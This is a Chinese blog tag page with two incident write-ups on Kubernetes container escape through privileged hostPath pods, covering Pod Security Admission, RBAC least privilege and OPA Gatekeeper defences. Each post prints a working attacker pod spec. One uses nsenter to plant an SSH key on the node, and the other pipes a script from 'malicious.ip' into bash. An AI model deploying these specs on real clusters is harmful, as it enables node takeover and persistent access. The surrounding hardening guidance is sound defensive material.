标签: RBAC

  • 深入 K8S 容器提权排查:hostPath 逃逸引发的 Node 接管与 Pod Security Admission 拦截实战

    排查某次 Node 被恶意接管事件发现,业务线侧漏的 ServiceAccount 凭据被利用,通过创建挂载宿主机根目录的特权 Pod 实现了 chroot 逃逸。本文直击 K8S 权限管控盲区,彻底解析从 RBAC 最小权限到 Pod Security Admission (PSA) 拦截,再到 OPA Gatekeeper 细粒度校验的防御链路。

    事故现场:一条 yaml 引发的宿主机沦陷

    某次排查集群异常高负载时,监控显示 Node node-192-168-10-55 上的 sshd 进程出现异常登录,sys CPU 持续飙升。登录审计日志(/var/log/audit/audit.log)追踪,发现该节点上被下发了一个未知的 Pod。

    还原攻击者留下的 Payload,这是一个典型的 hostPath 逃逸模型:

    apiVersion: v1
    kind: Pod
    metadata:
      name: debug-helper
      namespace: dev-team-a
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: root-shell
        image: alpine:3.18
        securityContext:
          privileged: true
        command: ["nsenter", "-t", "1", "-m", "-u", "-n", "-i", "sh", "-c", "echo 'ssh-rsa AAAAB3N...' >> /host/root/.ssh/authorized_keys && sleep infinity"]
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
          type: Directory
    

    该 Pod 利用 hostPIDnsenter 直接切入宿主机 1 号进程的 Namespace,并通过 hostPath 将恶意 SSH 公钥写入了 Node 节点的 /root/.ssh/authorized_keys。由于直接复用了宿主机网络(hostNetwork),攻击者绕过了所有的 CNI 隔离策略,直接通过 SSH 拿下了该 Node 的 Root 权限。

    为什么原生的 RBAC 拦不住 hostPath 逃逸?

    很多运维认为配好 RBAC 就能高枕无忧,这是对 K8S 认证授权机制最大的误解。

    查看涉事 Namespace 的 RBAC 配置:

    apiVersion: rbac.authorization.k8s.io/v1
    kind: Role
    metadata:
      name: dev-pod-manager
      namespace: dev-team-a
    rules:
    - apiGroups: [""]
      resources: ["pods", "pods/log", "pods/exec"]
      verbs: ["create", "get", "list", "delete"]
    

    RBAC (Role-Based Access Control) 的作用域在 API Server 请求生命周期的 Authz (授权) 阶段,它只校验“谁(Who)能对什么资源(What)执行什么动作(Verb)”。在这个案例中,开发账号确实拥有 create pods 的权限。

    但是,RBAC 无法解析资源的 Payload(负载内容)。它不关心你要创建的 Pod 是一个普通的 Nginx,还是一个挂载了宿主机 /etc 目录的特权核弹。要拦截恶意 Payload,必须在 API Server 的 Admission Control(准入控制) 阶段下功夫。

    实施第一道防线:Pod Security Admission (PSA)

    在 K8S v1.25+ 中,PodSecurityPolicy (PSP) 已被彻底移除,取而代之的是内置的 Pod Security Admission (PSA)。PSA 实现了官方定义的 Pod Security Standards (PSS),分为三个等级:PrivilegedBaselineRestricted

    要阻断上述逃逸,最快且最原生的方式是在 Namespace 级别强制启用 Restricted(严格)或 Baseline(基线)策略。

    执行以下命令为目标 Namespace 打上 PSA 标签:

    kubectl label namespace dev-team-a \
      pod-security.kubernetes.io/enforce=restricted \
      pod-security.kubernetes.io/enforce-version=latest \
      pod-security.kubernetes.io/audit=restricted \
      pod-security.kubernetes.io/audit-version=latest
    

    再次尝试下发之前的恶意 Pod,API Server 会在 Validating 阶段直接阻断并返回标准的 403 报错:

    Error from server (Forbidden): error when creating "evil-pod.yaml": pods "debug-helper" is forbidden: violates PodSecurity "restricted:latest": 
    privileged (container "root-shell" must not set securityContext.privileged=true), 
    host namespaces (hostNetwork=true, hostPID=true), 
    hostPath volumes (volume "host-root")
    

    底层机制:当请求到达 API Server,完成 RBAC 鉴权后,会进入 PodSecurity Admission Controller。它会读取所在 Namespace 的 labels,根据定义的 PSS 等级去校验 Pod Spec 中的 securityContextvolumes 等字段,一旦发现违规属性即刻拒绝写入 etcd。

    实施第二道防线:基于 OPA Gatekeeper 的细粒度准入

    PSA 的缺点在于颗粒度太粗。在真实业务场景中,某些特殊的 DaemonSet(如 Promtail 日志采集、CSI 存储插件)确实需要 hostPath。如果我们一刀切开启 Restricted,业务会大面积瘫痪。此时,我们需要基于 Webhook 的细粒度准入控制器(如 OPA Gatekeeper v3.14+)。

    通过 Rego 语言编写策略,我们可以实现:“禁止使用 hostPath,除非该 Pod 属于特定的 ServiceAccount 且挂载特定路径”。

    1. 部署 ConstraintTemplate (定义规则模板)

    apiVersion: templates.gatekeeper.sh/v1
    kind: ConstraintTemplate
    metadata:
      name: k8sblockhostpath
    spec:
      crd:
        spec:
          names:
            kind: K8sBlockHostPath
      targets:
        - target: admission.k8s.gatekeeper.sh
          rego: |
            package k8sblockhostpath
    
            violation[{"msg": msg}] {
              volume := input.review.object.spec.volumes[_]
              has_key(volume, "hostPath")
              not is_exempt(input.review)
              msg := sprintf("HostPath volume is forbidden: %v", [volume.name])
            }
    
            has_key(obj, k) {
              _ = obj[k]
            }
    
            # 允许 kube-system 命名空间下的请求豁免
            is_exempt(review) {
              review.object.metadata.namespace == "kube-system"
            }
    

    2. 下发 Constraint (绑定策略)

    apiVersion: constraints.gatekeeper.sh/v1beta1
    kind: K8sBlockHostPath
    metadata:
      name: block-hostpath-all-namespaces
    spec:
      match:
        kinds:
          - apiGroups: [""]
            kinds: ["Pod"]
    

    原理剖析:Gatekeeper 以 ValidatingWebhookConfiguration 注册到集群。当 API Server 处理 Pod 创建请求时,会发起 HTTPS POST 请求将 AdmissionReview 结构体发送给 Gatekeeper。Gatekeeper 将 JSON 数据喂给内部的 OPA 引擎执行 Rego 脚本校验,如果 violation 规则命中,则向 API Server 返回 Allowed: false 并附带 msg

    防御性加固最佳实践

    在 20 年的架构和排障经历中,我见过太多因权限配置不当引发的集群雪崩和安全事故。针对 K8S 安全,请将以下几条刻在运维基线上:

    1. AutomountServiceAccountToken = false:默认禁止 Pod 自动挂载 SA Token。90% 的业务 Pod 根本不需要和 API Server 通信,直接在 Pod/ServiceAccount 层级关闭它: yaml apiVersion: v1 kind: ServiceAccount metadata: name: default automountServiceAccountToken: false
    2. AppArmor/Seccomp 默认开启:在 kubelet 层面或 Pod SecurityContext 中强制开启 RuntimeDefault seccomp profile,从内核层面阉割非必要的 Syscall。

    3. No-Root 运行:强制要求开发将镜像内的用户改为普通用户,并在 Pod 的 securityContext 中强制声明 runAsNonRoot: true,结合 allowPrivilegeEscalation: false 锁死提权路径。

    常见问题

    Q1: PSS restricted 模式导致合法的基础设施组件(如 Promtail, CSI Node)无法启动怎么办? A1: 基础设施组件通常部署在独立的 Namespace(如 monitoring, kube-system)。PSA 策略是基于 Namespace 打标的,你可以为这些特定的 Namespace 设置 pod-security.kubernetes.io/enforce=privileged,并在集群层级通过 RBAC 严格限制谁有权限在这些特权 Namespace 中创建资源。

    Q2: 如何在不影响现有业务的情况下,平滑推行 PSS 策略? A2: 使用 PSA 的 auditwarn 模式,而不是直接 enforcekubectl label ns dev pod-security.kubernetes.io/warn=restricted pod-security.kubernetes.io/audit=restricted 这样违规的 Pod 依然可以创建,但会在 kube-apiserver 的 Audit Log 中产生告警,并在客户端 kubectl 抛出 Warning。通过聚合分析 Audit Log,揪出不合规的业务端,推动改造后再切为 enforce

    Q3: 为什么配置了 Mutating Webhook 给 Pod 注入 runAsNonRoot: true,但 Pod 依然以 Root 运行? A3: 这通常是因为镜像 Dockerfile 的 USER 指令依然是 root(UID 0)。runAsNonRoot: true 只是一个校验指令,它在 Kubelet 启动容器前会检查 UID,如果是 0 就会直接报错启动失败(Error: container has runAsNonRoot and image will run as root)。要真正改变运行用户,你的 Mutating Webhook 应该注入具体的 runAsUser: 1000,强制覆盖镜像原有的设定。

  • 深入 K8S 容器逃逸排查:RBAC 越权与 hostPath 引发的节点沦陷及 PSS 与 Webhook 防御实战

    某次排查生产 K8S 1.28 集群 Worker 节点 CPU 异常打满时,发现黑客利用 CI/CD ServiceAccount 的过度 RBAC 权限,下发带有 privileged: truehostPath 的逃逸 Pod 植入挖矿程序。本文直接给出基于 Pod Security Standards (PSS) 的 Namespace 强制策略,以及结合 OPA Gatekeeper Admission Webhook 的防御代码,彻底阻断此类提权路径。

    案发现场:Load Average 飙升与逃逸路径还原

    监控系统告警某 Worker 节点 Load Average 飙升至 80+,通过 top 排查发现大量不明进程占用 CPU。进入节点后,查看 dmesgsyslog 发现异常的 chroot 操作。通过反查容器运行时(Containerd),定位到一个名为 ci-debug-xyz 的异常 Pod。

    导出该 Pod 的 YAML 定义,其核心逃逸 payload 如下:

    apiVersion: v1
    kind: Pod
    metadata:
      name: ci-debug-xyz
      namespace: cicd-build
    spec:
      containers:
      - name: payload
        image: alpine:3.18
        command: ["nsenter", "-t", "1", "-m", "-u", "-i", "-n", "sh", "-c", "curl http://malicious.ip/script.sh | bash"]
        securityContext:
          privileged: true # 致命配置1:开启特权模式
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /        # 致命配置2:挂载宿主机根目录
    

    追查 K8S Audit Log 发现,创建该 Pod 的身份是 system:serviceaccount:cicd-build:jenkins-agent。检查其绑定的 RBAC 角色,发现存在典型的“过度授权”问题:

    apiVersion: rbac.authorization.k8s.io/v1
    kind: Role
    metadata:
      name: jenkins-build-role
      namespace: cicd-build
    rules:
    - apiGroups: [""]
      resources: ["pods", "pods/exec"]
      verbs: ["*"] # 允许在当前 NS 下对 Pod 进行任意操作
    

    黑客通过某次应用 RCE 漏洞拿到了 Jenkins Agent 的 Token,由于该 Token 拥有 podscreate 权限,直接下发了特权 Pod,挂载宿主机根目录并通过 nsenter 逃逸到宿主机执行恶意脚本。

    为什么原生的 RBAC 无法阻止容器逃逸?

    在 K8S 的安全模型中,RBAC 只解决“谁能操作什么 API 资源”的问题,但不解决“API 资源的内容是否合法”的问题

    当为 CI/CD 赋予了 resources: ["pods"], verbs: ["create"] 权限时,API Server 仅校验该 Token 是否有权调用 POST /api/v1/namespaces/cicd-build/pods 接口。至于提交的 Pod Spec 里是否包含了 hostNetwork: trueprivileged: true 或者挂载了宿主机的 /etc/shadow,RBAC 机制无能为力。

    在 K8S 1.25 之前,我们通常用 PodSecurityPolicy (PSP) 来拦截危险配置。但 PSP 由于设计复杂且易引发级联故障,在 1.25 被彻底移除,取而代之的是内置的 Pod Security Admission (PSA) 以及依赖外部引擎的 Admission Webhook(如 OPA Gatekeeper / Kyverno)。

    防御性加固实战:构建纵深防御体系

    为了彻底封死此类攻击面,必须在 API 请求的 Mutating 和 Validating 阶段进行严格拦截。

    1. 落地 Pod Security Standards (PSS)

    在 K8S 1.28 中,PSA 是默认开启的内置准入控制器。我们通过给 Namespace 打 Label 的方式,强制实施 PSS 的 restricted(限制)或 baseline(基线)标准。

    对于普通的业务或 CI/CD Namespace,直接实施 baseline 策略,并开启 restricted 的告警与审计:

    # 强制执行 baseline 策略,拒绝特权 Pod 和 hostPath
    kubectl label --overwrite ns cicd-build \
      pod-security.kubernetes.io/enforce=baseline \
      pod-security.kubernetes.io/enforce-version=latest
    
    # 对 restricted 策略进行审计和警告,暂不阻断,用于灰度观测
    kubectl label --overwrite ns cicd-build \
      pod-security.kubernetes.io/audit=restricted \
      pod-security.kubernetes.io/audit-version=latest \
      pod-security.kubernetes.io/warn=restricted \
      pod-security.kubernetes.io/warn-version=latest
    

    执行上述配置后,若再次尝试提交带有 privileged: true 的 Pod,API Server 会直接在 Validating 阶段拒绝并报错: Error from server (Forbidden): pods "ci-debug-xyz" is forbidden: violates PodSecurity "baseline": privileged (container "payload" must not set securityContext.privileged=true)

    2. RBAC 最小权限重构

    不要图省事给 verbs: ["*"]。CI/CD 的 ServiceAccount 如果只需要触发部署,应该只给 Deployment/StatefulSet 的 patchupdate 权限,绝不要给 podscreate 权限,更不要给 pods/exec

    # 修正后的 Role
    rules:
    - apiGroups: ["apps"]
      resources: ["deployments"]
      verbs: ["get", "patch", "update"] # 仅允许更新镜像版本
    

    3. OPA Gatekeeper:更细粒度的 Admission Webhook 拦截

    PSS 的 baselinerestricted 策略是打包好的黑盒,如果业务确实需要个别特殊权限(例如仅允许挂载 /var/log 目录但不允许挂载 /),PSS 无法做到细粒度放行。这时必须引入 OPA Gatekeeper 作为 Validating Webhook。

    部署 Gatekeeper 后,编写 Rego 策略显式禁用 hostPath 逃逸:

    ConstraintTemplate (定义校验逻辑):

    apiVersion: templates.gatekeeper.sh/v1
    kind: ConstraintTemplate
    metadata:
      name: k8sblockhostpath
    spec:
      crd:
        spec:
          names:
            kind: K8sBlockHostPath
      targets:
        - target: admission.k8s.gatekeeper.sh
          rego: |
            package k8sblockhostpath
    
            violation[{"msg": msg}] {
              volume := input.review.object.spec.volumes[_]
              has_key(volume, "hostPath")
              msg := sprintf("Strictly prohibited: Pod uses hostPath volume '%v'", [volume.name])
            }
    
            has_key(obj, k) {
              _ = obj[k]
            }
    

    Constraint (绑定到特定 Namespace):

    apiVersion: constraints.gatekeeper.sh/v1beta1
    kind: K8sBlockHostPath
    metadata:
      name: block-hostpath-cicd
    spec:
      match:
        kinds:
          - apiGroups: [""]
            kinds: ["Pod"]
        namespaces: ["cicd-build", "prod"]
    

    当黑客再次利用漏洞尝试提交包含 hostPath 的 Payload 时,请求会被 Gatekeeper 的 Webhook 拦截,并返回我们自定义的错误信息。

    常见问题

    Q1: PSS 开启 restricted 策略后,合法业务的 Pod 启动报错 must drop ALL capabilities,如何处理? A: restricted 级别要求极为严格,要求容器必须在 securityContext 中显式声明丢弃所有 Linux Capabilities。解决办法是修改业务的 Deployment YAML,在 containers.securityContext 中加入:

    securityContext:
      capabilities:
        drop:
          - ALL
    

    建议在推行 restricted 前,先开启 warnaudit 模式,通过日志观察两周,将业务 YAML 修改合规后再开启 enforce

    Q2: 集群已经开启了内置的 PSS 策略,还有必要部署 OPA Gatekeeper 或 Kyverno 吗? A: 非常有必要。PSS 只能处理 Pod 级别的安全规范(如限制特权、HostNetwork、Volume 类型等)。但真实生产环境中,你还需要拦截诸如 “禁止拉取非内网 Harbor 的镜像”、”必须包含特定 Label(如 cost-center)”、”禁止 Ingress 规则冲突” 等场景,这些超出 Pod Security 范畴的细粒度校验,只能通过外部 Admission Webhook 引擎实现。两者是互补关系。

    Q3: 旧集群(K8S 1.20)还在用 PSP,近期准备升级到 1.28,如何平滑迁移? A: PSP 与 PSS 的底层机制完全不同。平滑迁移步骤:

    1. 在 1.20 集群安装 kyvernogatekeeper,将旧的 PSP 规则翻译成 Webhook Policy。

    2. 将 Webhook Policy 设置为 audit 模式,对比 PSP 的阻断日志,确保规则一致。

    3. 升级 K8S 集群。升级到 1.25 时 PSP 会自动失效,此时将 Webhook Policy 切换为 enforce 模式接管防御。

    4. 在 1.28 中,逐步为 Namespace 打上 PSS 标签,用 K8S 原生能力替换掉部分基础的 Webhook Policy,降低 API Server 调用 Webhook 的延迟。